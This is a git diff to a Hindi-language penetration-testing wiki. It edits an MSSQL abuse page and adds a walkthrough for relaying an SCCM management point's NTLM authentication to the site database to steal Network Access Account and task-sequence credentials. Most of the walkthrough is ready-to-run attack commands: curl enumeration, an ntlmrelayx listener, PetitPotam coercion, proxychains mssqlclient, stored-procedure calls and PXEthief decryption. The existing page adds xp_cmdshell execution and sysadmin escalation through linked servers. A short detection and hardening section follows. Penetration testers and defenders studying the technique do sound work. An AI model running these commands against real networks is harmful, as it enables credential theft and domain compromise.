diff --git a/src/SUMMARY.md b/src/SUMMARY.md index b09540790..09ba11160 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -283,6 +283,7 @@ - [Privileged Groups](windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md) - [RDP Sessions Abuse](windows-hardening/active-directory-methodology/rdp-sessions-abuse.md) - [Resource-based Constrained Delegation](windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md) + - [Sccm Management Point Relay Sql Policy Secrets](windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md) - [Security Descriptors](windows-hardening/active-directory-methodology/security-descriptors.md) - [SID-History Injection](windows-hardening/active-directory-methodology/sid-history-injection.md) - [Silver Ticket](windows-hardening/active-directory-methodology/silver-ticket.md) diff --git a/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md b/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md index ddebfa00f..ab70bf613 100644 --- a/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md +++ b/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md @@ -7,7 +7,7 @@ ### Python -[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) उपकरण impacket पर आधारित है, और यह kerberos टिकट का उपयोग करके प्रमाणित करने की अनुमति देता है, और लिंक श्रृंखलाओं के माध्यम से हमले करता है। +[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) टूल impacket पर आधारित है, और यह kerberos टिकट का उपयोग करके प्रमाणित करने की अनुमति देता है, और लिंक श्रृंखलाओं के माध्यम से हमले करता है
```shell @@ -79,7 +79,7 @@ mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt ``` -### डोमेन सत्र के बिना नेटवर्क से एन्यूमरेट करना +### नेटवर्क से डोमेन सत्र के बिना एन्यूमरेटिंग ``` # Interactive mode @@ -90,11 +90,11 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive --- ### Powershell -यहाँ पर powershell मॉड्यूल [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) बहुत उपयोगी है। +इस मामले में powershell मॉड्यूल [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) बहुत उपयोगी है। ```bash Import-Module .\PowerupSQL.psd1 ```` -### नेटवर्क से डोमेन सत्र के बिना एन्यूमरेटिंग +### डोमेन सत्र के बिना नेटवर्क से एन्यूमरेट करना ```bash # Get local MSSQL instance (if any) Get-SQLInstanceLocal @@ -166,21 +166,21 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults # Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary ``` -**निम्नलिखित अनुभाग में मैन्युअल रूप से यह कैसे करना है, यह जांचें।** +Check in the page mentioned in the **following section how to do this manually.** -### MSSQL बुनियादी हैकिंग ट्रिक्स +### MSSQL Basic Hacking Tricks {{#ref}} ../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/ {{#endref}} -## MSSQL ट्रस्टेड लिंक +## MSSQL Trusted Links -यदि एक MSSQL उदाहरण को एक अलग MSSQL उदाहरण द्वारा ट्रस्ट किया गया है (डेटाबेस लिंक)। यदि उपयोगकर्ता के पास ट्रस्टेड डेटाबेस पर विशेषाधिकार हैं, तो वह **अन्य उदाहरण में क्वेरी निष्पादित करने के लिए ट्रस्ट संबंध का उपयोग करने में सक्षम होगा**। ये ट्रस्ट चेन किए जा सकते हैं और किसी बिंदु पर उपयोगकर्ता कुछ गलत कॉन्फ़िगर किए गए डेटाबेस को खोजने में सक्षम हो सकता है जहाँ वह कमांड निष्पादित कर सकता है। +यदि एक MSSQL उदाहरण को एक अलग MSSQL उदाहरण द्वारा विश्वसनीय (डेटाबेस लिंक) माना जाता है। यदि उपयोगकर्ता के पास विश्वसनीय डेटाबेस पर विशेषाधिकार हैं, तो वह **अन्य उदाहरण में क्वेरी निष्पादित करने के लिए विश्वास संबंध का उपयोग करने में सक्षम होगा**। ये विश्वास श्रृंखलाबद्ध किए जा सकते हैं और किसी बिंदु पर उपयोगकर्ता कुछ गलत कॉन्फ़िगर किए गए डेटाबेस को खोजने में सक्षम हो सकता है जहाँ वह कमांड निष्पादित कर सकता है। **डेटाबेस के बीच के लिंक वन ट्रस्ट के पार भी काम करते हैं।** -### पॉवरशेल दुरुपयोग +### Powershell Abuse ```bash #Look for MSSQL links of an accessible instance Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0 @@ -220,7 +220,7 @@ inject-assembly 4704 ../SharpCollection/SharpSQLPwn.exe /modules:LIC /linkedsql: ``` ### Metasploit -आप आसानी से metasploit का उपयोग करके विश्वसनीय लिंक की जांच कर सकते हैं। +आप मेटास्प्लॉइट का उपयोग करके आसानी से विश्वसनीय लिंक की जांच कर सकते हैं। ```bash #Set username, password, windows auth (if using AD), IP... msf> use exploit/windows/mssql/mssql_linkcrawler @@ -245,7 +245,7 @@ EXEC sp_linkedservers; ``` ![](<../../images/image (716).png>) -#### भरोसेमंद लिंक में क्वेरी निष्पादित करें +#### विश्वसनीय लिंक में क्वेरी निष्पादित करें लिंक के माध्यम से क्वेरी निष्पादित करें (उदाहरण: नए सुलभ उदाहरण में अधिक लिंक खोजें): ```sql @@ -276,10 +276,16 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT ``` ## स्थानीय विशेषाधिकार वृद्धि -**MSSQL स्थानीय उपयोगकर्ता** के पास आमतौर पर एक विशेष प्रकार का विशेषाधिकार होता है जिसे **`SeImpersonatePrivilege`** कहा जाता है। यह खाता "प्रमाणीकरण के बाद एक ग्राहक का अनुकरण" करने की अनुमति देता है। +**MSSQL स्थानीय उपयोगकर्ता** के पास आमतौर पर एक विशेष प्रकार का विशेषाधिकार होता है जिसे **`SeImpersonatePrivilege`** कहा जाता है। यह खाते को "प्रमाणीकरण के बाद एक ग्राहक का अनुकरण करने" की अनुमति देता है। -एक रणनीति जो कई लेखकों ने विकसित की है, वह है एक SYSTEM सेवा को एक धोखाधड़ी या मैन-इन-द-मिडल सेवा के लिए प्रमाणीकरण करने के लिए मजबूर करना जिसे हमलावर बनाता है। यह धोखाधड़ी सेवा तब SYSTEM सेवा का अनुकरण कर सकती है जबकि यह प्रमाणीकरण करने की कोशिश कर रही है। +कई लेखकों द्वारा विकसित एक रणनीति यह है कि एक SYSTEM सेवा को एक धोखाधड़ी या मैन-इन-द-मिडल सेवा के लिए प्रमाणीकरण करने के लिए मजबूर किया जाए जिसे हमलावर बनाता है। यह धोखाधड़ी सेवा तब SYSTEM सेवा का अनुकरण कर सकती है जबकि यह प्रमाणीकरण करने की कोशिश कर रही है। [SweetPotato](https://github.com/CCob/SweetPotato) के पास इन विभिन्न तकनीकों का एक संग्रह है जिसे Beacon के `execute-assembly` कमांड के माध्यम से निष्पादित किया जा सकता है। +### SCCM प्रबंधन बिंदु NTLM रिले (OSD गुप्त निष्कर्षण) +देखें कि SCCM **प्रबंधन बिंदुओं** की डिफ़ॉल्ट SQL भूमिकाओं का उपयोग नेटवर्क एक्सेस खाता और कार्य-क्रम गुप्तों को सीधे साइट डेटाबेस से डंप करने के लिए कैसे किया जा सकता है: +{{#ref}} +sccm-management-point-relay-sql-policy-secrets.md +{{#endref}} + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md b/src/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md new file mode 100644 index 000000000..7f6e78326 --- /dev/null +++ b/src/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md @@ -0,0 +1,155 @@ +# SCCM प्रबंधन बिंदु NTLM रिले से SQL – OSD नीति गुप्त निष्कर्षण + +{{#include ../../banners/hacktricks-training.md}} + +## TL;DR +एक **System Center Configuration Manager (SCCM) प्रबंधन बिंदु (MP)** को SMB/RPC के माध्यम से प्रमाणित करने के लिए मजबूर करके और उस NTLM मशीन खाते को **साइट डेटाबेस (MSSQL)** में **रिले** करके आप `smsdbrole_MP` / `smsdbrole_MPUserSvc` अधिकार प्राप्त करते हैं। ये भूमिकाएँ आपको एक सेट स्टोर की गई प्रक्रियाओं को कॉल करने की अनुमति देती हैं जो **ऑपरेटिंग सिस्टम डिप्लॉयमेंट (OSD)** नीति ब्लॉब्स (नेटवर्क एक्सेस खाता क्रेडेंशियल, कार्य-क्रम चर, आदि) को उजागर करती हैं। ब्लॉब्स हेक्स-कोडित/एन्क्रिप्टेड होते हैं लेकिन **PXEthief** के साथ डिकोड और डिक्रिप्ट किए जा सकते हैं, जिससे स्पष्ट गुप्त जानकारी मिलती है। + +उच्च-स्तरीय श्रृंखला: +1. MP और साइट DB खोजें ↦ बिना प्रमाणीकरण के HTTP एंडपॉइंट `/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`। +2. `ntlmrelayx.py -t mssql:// -ts -socks` प्रारंभ करें। +3. **PetitPotam**, PrinterBug, DFSCoerce, आदि का उपयोग करके MP को मजबूर करें। +4. SOCKS प्रॉक्सी के माध्यम से `mssqlclient.py -windows-auth` के रूप में रिले किए गए **\\$** खाते के साथ कनेक्ट करें। +5. निष्पादित करें: +* `use CM_` +* `exec MP_GetMachinePolicyAssignments N'',N''` +* `exec MP_GetPolicyBody N'',N''` (या `MP_GetPolicyBodyAfterAuthorization`) +6. `0xFFFE` BOM को स्ट्रिप करें, `xxd -r -p` → XML → `python3 pxethief.py 7 `। + +गुप्त जानकारी जैसे `OSDJoinAccount/OSDJoinPassword`, `NetworkAccessUsername/Password`, आदि बिना PXE या क्लाइंट को छुए पुनर्प्राप्त की जाती हैं। + +--- + +## 1. बिना प्रमाणीकरण वाले MP एंडपॉइंट्स की गणना करना +MP ISAPI एक्सटेंशन **GetAuth.dll** कई पैरामीटर उजागर करता है जिन्हें प्रमाणीकरण की आवश्यकता नहीं होती (जब तक कि साइट केवल PKI न हो): + +| पैरामीटर | उद्देश्य | +|-----------|---------| +| `MPKEYINFORMATIONMEDIA` | साइट साइनिंग सर्टिफिकेट का सार्वजनिक कुंजी + *x86* / *x64* **सभी अज्ञात कंप्यूटर** उपकरणों के GUIDs लौटाता है। | +| `MPLIST` | साइट में हर प्रबंधन बिंदु की सूची बनाता है। | +| `SITESIGNCERT` | प्राथमिक-साइट साइनिंग सर्टिफिकेट लौटाता है (LDAP के बिना साइट सर्वर की पहचान करें)। | + +GUIDs प्राप्त करें जो बाद में DB क्वेरी के लिए **clientID** के रूप में कार्य करेंगे: +```bash +curl http://MP01.contoso.local/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint --format - +``` +--- + +## 2. MP मशीन खाते को MSSQL पर रिले करें +```bash +# 1. Start the relay listener (SMB→TDS) +ntlmrelayx.py -ts -t mssql://10.10.10.15 -socks -smb2support + +# 2. Trigger authentication from the MP (PetitPotam example) +python3 PetitPotam.py 10.10.10.20 10.10.10.99 \ +-u alice -p P@ssw0rd! -d CONTOSO -dc-ip 10.10.10.10 +``` +जब मजबूरी सक्रिय होती है, आपको कुछ ऐसा देखना चाहिए: +``` +[*] Authenticating against mssql://10.10.10.15 as CONTOSO/MP01$ SUCCEED +[*] SOCKS: Adding CONTOSO/MP01$@10.10.10.15(1433) +``` +--- + +## 3. OSD नीतियों की पहचान करें संग्रहीत प्रक्रियाओं के माध्यम से +SOCKS प्रॉक्सी के माध्यम से कनेक्ट करें (डिफ़ॉल्ट रूप से पोर्ट 1080): +```bash +proxychains mssqlclient.py CONTOSO/MP01$@10.10.10.15 -windows-auth +``` +**CM_** DB पर स्विच करें (3-अंकीय साइट कोड का उपयोग करें, जैसे `CM_001`)। + +### 3.1 अज्ञात-कंप्यूटर GUIDs खोजें (वैकल्पिक) +```sql +USE CM_001; +SELECT SMS_Unique_Identifier0 +FROM dbo.UnknownSystem_DISC +WHERE DiscArchKey = 2; -- 2 = x64, 0 = x86 +``` +### 3.2 असाइन की गई नीतियों की सूची +```sql +EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N''; +``` +प्रत्येक पंक्ति में `PolicyAssignmentID`, `Body` (hex), `PolicyID`, `PolicyVersion` शामिल हैं। + +नीतियों पर ध्यान दें: +* **NAAConfig** – नेटवर्क एक्सेस खाता क्रेडेंशियल्स +* **TS_Sequence** – कार्य अनुक्रम चर (OSDJoinAccount/Password) +* **CollectionSettings** – इसमें रन-एज़ खाते हो सकते हैं + +### 3.3 पूर्ण बॉडी प्राप्त करें +यदि आपके पास पहले से `PolicyID` और `PolicyVersion` है, तो आप clientID आवश्यकता को छोड़ सकते हैं: +```sql +EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00'; +``` +> महत्वपूर्ण: SSMS में "अधिकतम वर्ण पुनर्प्राप्त" बढ़ाएँ (>65535) अन्यथा ब्लॉब काट दिया जाएगा। + +--- + +## 4. ब्लॉब को डिकोड और डिक्रिप्ट करें +```bash +# Remove the UTF-16 BOM, convert from hex → XML +echo 'fffe3c003f0078…' | xxd -r -p > policy.xml + +# Decrypt with PXEthief (7 = decrypt attribute value) +python3 pxethief.py 7 $(xmlstarlet sel -t -v "//value/text()" policy.xml) +``` +पुनर्प्राप्त किए गए रहस्यों का उदाहरण: +``` +OSDJoinAccount : CONTOSO\\joiner +OSDJoinPassword: SuperSecret2025! +NetworkAccessUsername: CONTOSO\\SCCM_NAA +NetworkAccessPassword: P4ssw0rd123 +``` +--- + +## 5. प्रासंगिक SQL भूमिकाएँ और प्रक्रियाएँ +रिले के दौरान लॉगिन को निम्नलिखित से मैप किया जाता है: +* `smsdbrole_MP` +* `smsdbrole_MPUserSvc` + +इन भूमिकाओं में दर्जनों EXEC अनुमतियाँ होती हैं, इस हमले में उपयोग की जाने वाली प्रमुख अनुमतियाँ हैं: + +| स्टोर की गई प्रक्रिया | उद्देश्य | +|------------------|---------| +| `MP_GetMachinePolicyAssignments` | एक `clientID` पर लागू नीतियों की सूची। | +| `MP_GetPolicyBody` / `MP_GetPolicyBodyAfterAuthorization` | पूर्ण नीति शरीर लौटाएँ। | +| `MP_GetListOfMPsInSiteOSD` | `MPKEYINFORMATIONMEDIA` पथ द्वारा लौटाया गया। | + +आप पूर्ण सूची की जांच कर सकते हैं: +```sql +SELECT pr.name +FROM sys.database_principals AS dp +JOIN sys.database_permissions AS pe ON pe.grantee_principal_id = dp.principal_id +JOIN sys.objects AS pr ON pr.object_id = pe.major_id +WHERE dp.name IN ('smsdbrole_MP','smsdbrole_MPUserSvc') +AND pe.permission_name='EXECUTE'; +``` +--- + +## 6. पहचान और हार्डनिंग +1. **MP लॉगिन की निगरानी करें** – कोई भी MP कंप्यूटर खाता यदि किसी IP से लॉगिन कर रहा है जो इसका होस्ट नहीं है ≈ रिले। +2. साइट डेटाबेस पर **प्रामाणिकता के लिए विस्तारित सुरक्षा (EPA)** सक्षम करें (`PREVENT-14`)। +3. अप्रयुक्त NTLM को निष्क्रिय करें, SMB साइनिंग को लागू करें, RPC को प्रतिबंधित करें ( +`PetitPotam`/`PrinterBug` के खिलाफ उपयोग की गई समान रोकथाम)। +4. IPSec / आपसी-TLS के साथ MP ↔ DB संचार को हार्डन करें। + +--- + +## अन्य देखें +* NTLM रिले के मूलभूत सिद्धांत: +{{#ref}} +../ntlm/README.md +{{#endref}} + +* MSSQL दुरुपयोग और पोस्ट-एक्सप्लॉइटेशन: +{{#ref}} +abusing-ad-mssql.md +{{#endref}} + + + +## संदर्भ +- [मैं आपके प्रबंधक से बात करना चाहूंगा: प्रबंधन बिंदु रिले के साथ रहस्यों की चोरी](https://specterops.io/blog/2025/07/15/id-like-to-speak-to-your-manager-stealing-secrets-with-management-point-relays/) +- [PXEthief](https://github.com/MWR-CyberSec/PXEThief) +- [Misconfiguration Manager – ELEVATE-4 & ELEVATE-5](https://github.com/subat0mik/Misconfiguration-Manager) +{{#include ../../banners/hacktricks-training.md}}